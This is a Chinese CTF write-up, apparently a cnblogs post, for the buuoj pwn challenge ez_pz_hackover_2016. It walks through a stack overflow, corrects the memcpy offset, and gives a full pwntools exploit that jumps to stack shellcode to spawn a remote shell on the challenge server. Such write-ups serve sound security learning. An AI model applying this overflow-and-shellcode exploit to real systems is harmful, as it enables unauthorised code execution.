首页 > 其他分享 >pwn | ez_pz_hackover_2016

pwn | ez_pz_hackover_2016

时间:2023-01-03 18:56:08浏览次数:39  
标签:pz hackover ez pwn input 2016 shellcode

pwn | ez_pz_hackover_2016

x86

checksec:
image

基本上逻辑是这样的:
image

漏洞函数是一个栈溢出:
image

这里有一个坑,传进vul函数的是input字符串的地址的地址,不是input字符串的地址,所以memcpy的时候复制的内容不是从input字符串的开头开始的:
image
image

这样返回地址是不对的,是我们输入的垃圾数据,所以需要重新调整偏移:
image

调整的偏移就是-28就可以了,可以完成劫持:
image

因为没有开启nx保护,所以可以直接写shellcode然后跳转过去,栈的地址在一开始就给了(我居然没有看到然后倒腾了半天QAQ):
image

那就在程序的一开头加一个接收就行了
这里有一个坑:我本来准备直接跳原来的栈的,结果忘了memcpy给原来的栈也覆盖掉了,所以只能算新栈的偏移:
image

exp:

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

# p = process('./ez_pz_hackover_2016')
p = remote('node4.buuoj.cn', 27783)
p_main = 0x080486E2
p_header = 0x0804856B

p.recvuntil('Yippie, lets crash: ')
input_addr = int(p.recv(10), 16)
shellcode = asm(shellcraft.sh())
# p_shellcode = input_addr + 26 + 4   # not available because of memcpy
p_shellcode = input_addr - 32 + 4   # ok


p.recvuntil('name?\n')

#             crashme + rubbish + retaddr
payload = b'crashme\x00'.ljust( (0x32+4 -28 -1),b'M' )+b'Q' + p32(p_shellcode) + shellcode

input('?')
p.sendline(payload)
p.recvuntil('!\n')
p.interactive()

标签:pz,hackover,ez,pwn,input,2016,shellcode
From: https://www.cnblogs.com/Mz1-rc/p/17023122.html

相关文章

  • SQLSER2016数据库备份
    http://t.zoukankan.com/sgxw-p-13827040.html第一步:登录数据库—>管理—>维护计划—>维护计划向导 第二步:输入维护计划“名称”及“说明”,点击“更改”按钮 第三步......
  • buuoj-pwn-hctf2018_the_end
    buuoj-pwn-hctf2018_the_end总结lb=ELF(...)使用重温了一遍攻击exit指针,还有如何找__libc_atexit虽然改不了反弹shell重定向​ 详细看这个exec1>&0_luooofa......
  • SQL Server 2012/2016/2017 新增函数
    /**************************************************************SQLServer2012新增的函数***************************************************************/ ......
  • lctf2016_pwn200 堆利用
    lctf2016:pwn200堆利用一、信息收集RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。所以在安全防护的角度来说尽量减少可写......
  • ASIS_CTF_2016_b00ks
    ASIS_CTF_2016_b00ks一、信息收集RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。所以在安全防护的角度来说尽量减少可写的......
  • 绿城杯uaf_pwn 分析
    绿城杯uaf_pwn分析10月11日~10月15日一、信息收集RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。所以在安全防护的角度来说......
  • buuoj-pwn-ciscn_2019_final_10
    buuoj-pwn-ciscn_2019_final_10总结题目分析glibcubuntu18.04,对应GLIBC2.27,对于这题,我们知道doublefree没检查就行逆向分析关键函数一第一个箭头所指没法绕过,随便......
  • P1600 [NOIP2016 提高组] 天天爱跑步
    //题目大意:有一棵树,在每个节点上会在Pi时刻出现一个观察员,在该时刻观察员如果观察到路过的运动员,那么该观察员的分数加1;//现在给定m条路径的起点与终点,每个运......
  • 痞子衡嵌入式:Farewell, 我的写博故事2016-2019
    --题图:苏州天平山枫叶现在是2022年末,痞子衡又要起笔博文年终总结了,看着2020年之前的博文总结缺失,始终觉得缺憾,所以写下此篇2016-2019总结合辑。2016年之前,痞子......
  • 2022-qgb-final-pwn-revm
    REVM总结这是一道很简单的题目,但是我也学到了很多!(虽然比赛时失误没看到return导致打栈地址失败),收获如下:静态编译没符号可以使用导入sig文件或者bindiff一个对应版本的......